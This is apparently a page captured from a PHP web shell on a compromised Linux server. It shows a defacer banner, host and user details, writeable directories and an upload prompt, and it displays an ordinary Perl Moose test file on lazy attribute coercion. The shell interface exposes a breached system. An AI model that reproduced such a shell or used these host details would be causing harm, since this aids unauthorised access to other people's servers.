Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/share/doc/perl-Moose/t/attributes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/share/doc/perl-Moose/t/attributes/misc_attribute_coerce_lazy.t
use strict;
use warnings;

use Test::More;
use Test::Fatal;



{
    package HTTPHeader;
    use Moose;

    has 'array' => (is => 'ro');
    has 'hash'  => (is => 'ro');
}

{
    package Request;
    use Moose;
    use Moose::Util::TypeConstraints;

    subtype 'Header'
        => as 'Object'
        => where { $_->isa('HTTPHeader') };

    coerce 'Header'
        => from 'ArrayRef'
            => via { HTTPHeader->new(array => $_[0]) }
        => from 'HashRef'
            => via { HTTPHeader->new(hash => $_[0]) };

    has 'headers'  => (
        is      => 'rw',
        isa     => 'Header',
        coerce  => 1,
        lazy    => 1,
        default => sub { [ 'content-type', 'text/html' ] }
    );
}

my $r = Request->new;
isa_ok($r, 'Request');

is( exception {
    $r->headers;
}, undef, '... this coerces and passes the type constraint even with lazy' );

done_testing;

Hry